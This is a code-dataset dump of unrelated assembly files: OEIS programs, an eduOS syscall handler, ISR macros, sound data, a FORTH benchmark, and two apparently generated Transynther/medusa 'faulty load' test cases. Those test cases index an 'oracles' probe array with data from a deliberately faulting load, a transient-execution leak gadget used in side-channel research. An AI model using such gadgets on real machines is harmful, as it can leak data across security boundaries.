add %r9, %r9
mov $29, %rcx
rep movsl
xor %rcx, %rcx
lea addresses_D_ht+0x54c, %rax
nop
nop
nop
cmp %rbp, %rbp
vmovups (%rax), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r8
add %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %rbx
push %rcx
push %rsi
// Store
lea addresses_A+0x4802, %rbx
nop
nop
cmp $21997, %r11
movl $0x51525354, (%rbx)
nop
nop
sub %rbx, %rbx
// Faulty Load
mov $0x7b282a0000000002, %r12
nop
nop
nop
nop
inc %rcx
movups (%r12), %xmm0
vpextrq $0, %xmm0, %rbx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rsi
pop %rcx
pop %rbx
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 37.469613 | 2,999 | 0.657623 |
32a518e2d5bb17bbbab0d62eaa7422f01a3e7537 | 675 | asm | Assembly | oeis/081/A081321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081321: a(n) = (2/3)*(2*n+1)*(2*n-1)!*binomial(3*n,2*n).
; Submitted by Jon Maiga
; 6,300,47040,14968800,7991343360,6422134118400,7240779786240000,10899907851216384000,21115899915689779200000,51167604130438090014720000,151615591667542267763097600000,539306547534817468755148800000000,2267795648217238975260881584128000000,11128037249045670743049983062179840000000,63017537725754300178614803392286949376000000,407907693742288273234788970417690949713920000000,2992777303820425191861660253545839481323520000000000,24705006108704756001413298711275227814389874688000000000
mov $2,1
add $2,$0
add $0,$2
mov $1,$0
add $1,2
lpb $0
sub $0,1
add $2,1
mul $1,$2
lpe
mov $0,$1
| 42.1875 | 485 | 0.838519 |
0b47240f3a69d05a5b432990ef736f437bbbaba8 | 1,906 | asm | Assembly | src/arch/x86_64/syscall.asm | jbreitbart/eduOS-rs | 03579fe20e5bf4cf415c2b2d7517b3e6f6785545 | [
"MIT"
] | null | null | null | src/arch/x86_64/syscall.asm | jbreitbart/eduOS-rs | 03579fe20e5bf4cf415c2b2d7517b3e6f6785545 | [
"MIT"
] | null | null | null | src/arch/x86_64/syscall.asm | jbreitbart/eduOS-rs | 03579fe20e5bf4cf415c2b2d7517b3e6f6785545 | [
"MIT"
] | null | null | null | ; Copyright (c) 2017 Stefan Lankes, RWTH Aachen University
;
; MIT License
;
; Permission is hereby granted, free of charge, to any person obtaining
; a copy of this software and associated documentation files (the
; "Software"), to deal in the Software without restriction, including
; without limitation the rights to use, copy, modify, merge, publish,
; distribute, sublicense, and/or sell copies of the Software, and to
; permit persons to whom the Software is furnished to do so, subject to
; the following conditions:
;
; The above copyright notice and this permission notice shall be
; included in all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
; EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
; MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
; NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
; LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
; OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
; WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
section .text
bits 64
extern sys_write
extern sys_exit
global syscall_handler
syscall_handler:
; save context, see x86_64 ABI
push rcx
push rdx
push rsi
push rdi
push r8
push r9
push r10
push r11
; save ds/es and set to kernel data descriptor
mov rcx, ds
push rcx
mov rcx, es
push rcx
mov rcx, 0x10
mov ds, rcx
mov es, rcx
; copy 4th argument to rcx to adhere x86_64 ABI
mov rcx, r10
sti
call [sys_handlers+rax*8]
; restore context, see x86_64 ABI
cli
pop rcx
mov es, rcx
pop rcx
mov ds, rcx
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rdx
pop rcx
o64 sysret
section .rodata
; array of function pointers, which handles the system calls
sys_handlers:
dq sys_exit
dq sys_write
dq 0 ; signalize the end of the array
| 23.243902 | 72 | 0.753935 |
edb7404ae2f3f72213e6da807d7bdc17a4dd0766 | 246 | asm | Assembly | kernel/isr.asm | martinliptak/kernel-from-scratch | 085d691d6b7bc8b75d988a0f48ec4bb01af4a95c | [
"Unlicense"
] | 2 | 2020-11-28T22:23:04.000Z | 2021-02-27T19:50:04.000Z | kernel/isr.asm | martinliptak/kernel-from-scratch | 085d691d6b7bc8b75d988a0f48ec4bb01af4a95c | [
"Unlicense"
] | null | null | null | kernel/isr.asm | martinliptak/kernel-from-scratch | 085d691d6b7bc8b75d988a0f48ec4bb01af4a95c | [
"Unlicense"
] | null | null | null | %macro isr 1
global isr_%1_wrapper
extern isr_%1
isr_%1_wrapper:
pushad
push %1
call [isr_%1]
add esp, 4
popad
iret
%endmacro
SECTION .text
isr 0
isr 6
isr 8
isr 10
isr 11
isr 12
isr 13
isr 14
isr 16
; isr 32
isr 33
| 9.111111 | 22 | 0.646341 |
02f7d0635fe6f8d78a9ad5109e3c1ae8bdf5f082 | 144 | asm | Assembly | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/data-5.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/data-5.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/data-5.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: data-5.asm
Type: file
Size: 50467
Last-Modified: '1993-07-20T07:13:22Z'
SHA-1: 836721C246EC91372D9A8D37745D014DB0963F15
Description: null
| 20.571429 | 47 | 0.805556 |
2b4da4a458bd1327750b62ebdc97b6d3a47b3807 | 325 | asm | Assembly | programs/oeis/106/A106387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/106/A106387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/106/A106387.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A106387: Numbers j such that 6j^2 + 6j + 1 = 11k.
; 4,6,15,17,26,28,37,39,48,50,59,61,70,72,81,83,92,94,103,105,114,116,125,127,136,138,147,149,158,160,169,171,180,182,191,193,202,204,213,215,224,226,235,237,246,248,257,259,268,270,279,281,290,292,301,303
mov $2,$0
div $0,2
mul $0,7
mul $2,2
add $0,$2
mov $1,$0
add $1,4
| 29.545455 | 205 | 0.661538 |
92cdb639463f14740b04faf5c19bd30e707ade96 | 721 | asm | Assembly | sound/sfxasm/88.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | 7 | 2019-12-05T00:35:57.000Z | 2022-02-27T20:00:33.000Z | sound/sfxasm/88.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | null | null | null | sound/sfxasm/88.asm | NatsumiFox/Sonic-3-93-Nov-03 | 032e4fc25f243636d458639c4a4311caca898f96 | [
"MIT"
] | null | null | null | 88_Header:
sHeaderInit ; Z80 offset is $CE99
sHeaderPatch 88_Patches
sHeaderTick $01
sHeaderCh $01
sHeaderSFX $80, $05, 88_FM5, $E6, $06
88_FM5:
sPatFM $00
ssModZ80 $01, $01, $19, $02
dc.b nE5, $2C
sStop
88_Patches:
; Patch $00
; $01
; $70, $30, $00, $12, $1F, $1F, $1F, $1F
; $1F, $0B, $07, $01, $08, $01, $09, $01
; $CF, $1F, $FF, $FF, $04, $03, $02, $80
spAlgorithm $01
spFeedback $00
spDetune $07, $00, $03, $01
spMultiple $00, $00, $00, $02
spRateScale $00, $00, $00, $00
spAttackRt $1F, $1F, $1F, $1F
spAmpMod $00, $00, $00, $00
spSustainRt $1F, $07, $0B, $01
spSustainLv $0C, $0F, $01, $0F
spDecayRt $08, $09, $01, $01
spReleaseRt $0F, $0F, $0F, $0F
spTotalLv $04, $02, $03, $00
| 21.848485 | 41 | 0.57975 |
135a56f61b44b87f8333c3e501c2d03bf33bb1cc | 6,944 | asm | Assembly | Benchmark/decomp.asm | DW0RKiN/M4_FORTH | b441b545707a12e5561cd50cbe902745caa9ed10 | [
"MIT"
] | 2 | 2020-09-12T08:26:40.000Z | 2022-03-08T23:06:19.000Z | Benchmark/decomp.asm | DW0RKiN/M4_FORTH | b441b545707a12e5561cd50cbe902745caa9ed10 | [
"MIT"
] | null | null | null | Benchmark/decomp.asm | DW0RKiN/M4_FORTH | b441b545707a12e5561cd50cbe902745caa9ed10 | [
"MIT"
] | 2 | 2021-02-05T05:43:02.000Z | 2021-06-30T19:10:15.000Z | ORG 0x8000
; === b e g i n ===
ld (Stop+1), SP ; 4:20 not need
ld L, 0x1A ; 2:7 Upper screen
call 0x1605 ; 3:17 Open channel
ld HL, 60000 ; 3:10 Init Return address stack
exx ; 1:4
call _bench ; 3:17 scall
Stop:
ld SP, 0x0000 ; 3:10 not need
ld HL, 0x2758 ; 3:10
exx ; 1:4
ret ; 1:10
; ===== e n d =====
; --- the beginning of a non-recursive function ---
_decomp: ; ( n -- )
pop BC ; 1:10 : ret
ld (_decomp_end+1),BC; 4:20 : ( ret -- ) R:( -- )
push DE ; 1:11 push(2)
ex DE, HL ; 1:4 push(2)
ld HL, 2 ; 3:10 push(2)
begin101:
push DE ; 1:11 2dup
push HL ; 1:11 2dup ( a b -- a b a b )
push DE ; 1:11 dup
ld D, H ; 1:4 dup
ld E, L ; 1:4 dup ( a -- a a )
call MULTIPLY ; 3:17 *
pop DE ; 1:10 *
ld A, E ; 1:4 u>= while 101 DE>=HL --> DE-HL>=0 --> not carry if true
sub L ; 1:4 u>= while 101 DE>=HL --> DE-HL>=0 --> not carry if true
ld A, D ; 1:4 u>= while 101 DE>=HL --> DE-HL>=0 --> not carry if true
sbc A, H ; 1:4 u>= while 101 DE>=HL --> DE-HL>=0 --> not carry if true
pop HL ; 1:10 u>= while 101
pop DE ; 1:10 u>= while 101
jp c, break101 ; 3:10 u>= while 101
push DE ; 1:11 2dup
push HL ; 1:11 2dup ( a b -- a b a b )
call UDIVIDE ; 3:17 u/mod
ex DE, HL ; 1:4 swap ( b a -- a b )
ld A, H ; 1:4 if
or L ; 1:4 if
ex DE, HL ; 1:4 if
pop DE ; 1:10 if
jp z, else101 ; 3:10 if
ex DE, HL ; 1:4 drop
pop DE ; 1:10 drop ( a -- )
inc HL ; 1:6 1+
set 0, L ; 2:8 1 or ; next odd number
jp endif101 ; 3:10 else
else101:
pop AF ; 1:10 nrot nip
ex DE, HL ; 1:4 nrot nip ( c b a -- a b )
endif101:
jp begin101 ; 3:10 repeat 101
break101: ; repeat 101
pop HL ; 1:10 2drop
pop DE ; 1:10 2drop ( b a -- )
_decomp_end:
jp 0x0000 ; 3:10 ;
; --------- end of non-recursive function ---------
; --- the beginning of a data stack function ---
_bench: ; ( -- )
push DE ; 1:11 push(10000)
ex DE, HL ; 1:4 push(10000)
ld HL, 10000 ; 3:10 push(10000)
sfor101: ; sfor 101 ( index -- index )
push DE ; 1:11 dup
ld D, H ; 1:4 dup
ld E, L ; 1:4 dup ( a -- a a )
call _decomp ; 3:17 call ( -- ret ) R:( -- )
ld A, H ; 1:4 snext 101
or L ; 1:4 snext 101
dec HL ; 1:6 snext 101 index--
jp nz, sfor101 ; 3:10 snext 101
snext101: ; snext 101
ex DE, HL ; 1:4 sfor unloop 101
pop DE ; 1:10 sfor unloop 101
_bench_end:
ret ; 1:10 s;
; --------- end of data stack function ---------
; Input: HL,DE
; Output: HL=HL*DE ((un)signed)
; It does not matter whether it is signed or unsigned multiplication.
; HL = HL*DE = H0*E + L*DE
; Pollutes: AF, C, DE
MULTIPLY:
;[36:471-627] # default version can be changed with "define({TYPMUL},{name})", name=fast,small,test,test2,...
xor A ; 1:4
ld C, E ; 1:4
srl H ; 2:8 H /= 2
jr nc, $+3 ; 2:7/12
MULTIPLY1: ; H0*0E
add A, C ; 1:4 A += C(original E)
sla C ; 2:8 C(original E) *= 2
srl H ; 2:8 H /= 2
jr c, MULTIPLY1 ; 2:7/12
jp nz, MULTIPLY1+1; 3:10 H = ?
ld C, L ; 1:4
ld L, H ; 1:4 L = 0
ld H, A ; 1:4 HL *= E
srl C ; 2:8 C(original L) /= 2
jr nc, $+3 ; 2:7/12
MULTIPLY2: ; 0L*DE
add HL, DE ; 1:11
sla E ; 2:8
rl D ; 2:8 DE *= 2
srl C ; 2:8 C(original L) /= 2
jr c, MULTIPLY2 ; 2:7/12
jp nz, MULTIPLY2+1; 3:10 C(original L) = ?
ret ; 1:10
MULTIPLY_SIZE EQU $-MULTIPLY
; Divide 16-bit unsigned values (with 16-bit result)
; In: DE / HL
; Out: HL = DE / HL, DE = DE % HL
UDIVIDE:
;[37:cca 900] # default version can be changed with "define({TYPDIV},{name})", name=old_fast,old,fast,small,synthesis
; /3 --> cca 1551, /5 --> cca 1466, 7/ --> cca 1414, /15 --> cca 1290, /17 --> cca 1262, /31 --> cca 1172, /51 --> cca 1098, /63 --> cca 1058, /85 --> cca 1014, /255 --> cca 834
ld A, H ; 1:4
or L ; 1:4 HL = DE / HL
ret z ; 1:5/11 HL = DE / 0?
ld BC, 0x0000 ; 3:10
if 0
UDIVIDE_LE:
inc B ; 1:4 B++
add HL, HL ; 1:11
jr c, UDIVIDE_GT ; 2:7/12
ld A, H ; 1:4
sub D ; 1:4
jp c, UDIVIDE_LE ; 3:10
jp nz, UDIVIDE_GT ; 3:10
ld A, E ; 1:4
sub L ; 1:4
else
ld A, D ; 1:4
UDIVIDE_LE:
inc B ; 1:4 B++
add HL, HL ; 1:11
jr c, UDIVIDE_GT ; 2:7/12
cp H ; 1:4
endif
jp nc, UDIVIDE_LE ; 3:10
or A ; 1:4 HL > DE
UDIVIDE_GT: ;
ex DE, HL ; 1:4 HL = HL / DE
ld A, C ; 1:4 CA = 0x0000 = result
UDIVIDE_LOOP:
rr D ; 2:8
rr E ; 2:8 DE >> 1
sbc HL, DE ; 2:15
jr nc, $+3 ; 2:7/12
add HL, DE ; 1:11 back
ccf ; 1:4 inverts carry flag
adc A, A ; 1:4
rl C ; 2:8
djnz UDIVIDE_LOOP ; 2:8/13 B--
ex DE, HL ; 1:4
ld L, A ; 1:4
ld H, C ; 1:4
ret ; 1:10
VARIABLE_SECTION:
STRING_SECTION:
| 34.206897 | 201 | 0.357143 |
77f829b9c3c968976a21c9c851dac19b9df17f91 | 8,089 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1374.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xbac, %r8
and $31515, %r11
movups (%r8), %xmm6
vpextrq $1, %xmm6, %rax
nop
nop
nop
nop
and $17186, %rdx
lea addresses_WT_ht+0x1bd2c, %rbx
nop
nop
nop
nop
nop
xor $19613, %r11
mov (%rbx), %ebp
nop
xor %rbp, %rbp
lea addresses_A_ht+0x12c2c, %rsi
lea addresses_WC_ht+0x8eac, %rdi
nop
add $32588, %r8
mov $38, %rcx
rep movsw
xor $3180, %rbx
lea addresses_D_ht+0xaf8e, %rbp
nop
nop
nop
nop
nop
and $53748, %rdi
movups (%rbp), %xmm6
vpextrq $1, %xmm6, %rcx
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x82ac, %rcx
nop
nop
nop
nop
xor %r11, %r11
mov (%rcx), %rbp
nop
add $59764, %r11
lea addresses_D_ht+0x1d40c, %rdi
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rdi)
nop
nop
nop
nop
nop
xor $17405, %rax
lea addresses_WT_ht+0xabec, %r11
inc %rbp
movups (%r11), %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_A_ht+0x46dc, %rsi
lea addresses_WC_ht+0xccc6, %rdi
nop
nop
nop
nop
and %r11, %r11
mov $61, %rcx
rep movsb
nop
and %r11, %r11
lea addresses_WC_ht+0x1373c, %rcx
nop
and %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rcx)
add $60067, %rdi
lea addresses_normal_ht+0x1a170, %rsi
lea addresses_WC_ht+0x1cbc8, %rdi
nop
nop
sub $32588, %r8
mov $9, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0xe980, %rcx
nop
inc %r9
mov $0x5152535455565758, %rbp
movq %rbp, %xmm5
vmovups %ymm5, (%rcx)
xor $35587, %rcx
// Store
lea addresses_WT+0x17eac, %rdi
nop
nop
and %rax, %rax
mov $0x5152535455565758, %rbp
movq %rbp, (%rdi)
nop
nop
nop
nop
nop
xor %r8, %r8
// Store
mov $0xfac, %rsi
nop
sub $8114, %r8
mov $0x5152535455565758, %rbp
movq %rbp, (%rsi)
nop
cmp %rdi, %rdi
// Load
lea addresses_PSE+0x13aac, %rdi
clflush (%rdi)
nop
nop
nop
xor $4290, %rcx
vmovups (%rdi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
sub $39713, %rax
// Store
lea addresses_PSE+0x145d4, %rax
nop
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm2
movups %xmm2, (%rax)
nop
nop
nop
nop
nop
xor $56052, %rsi
// Load
lea addresses_RW+0x156ac, %rax
xor %rcx, %rcx
mov (%rax), %r8
nop
nop
add $20187, %rsi
// Faulty Load
lea addresses_normal+0x15eac, %rsi
nop
nop
sub %rdi, %rdi
mov (%rsi), %r8d
lea oracles, %rsi
and $0xff, %r8
shlq $12, %r8
mov (%rsi,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'34': 21829}
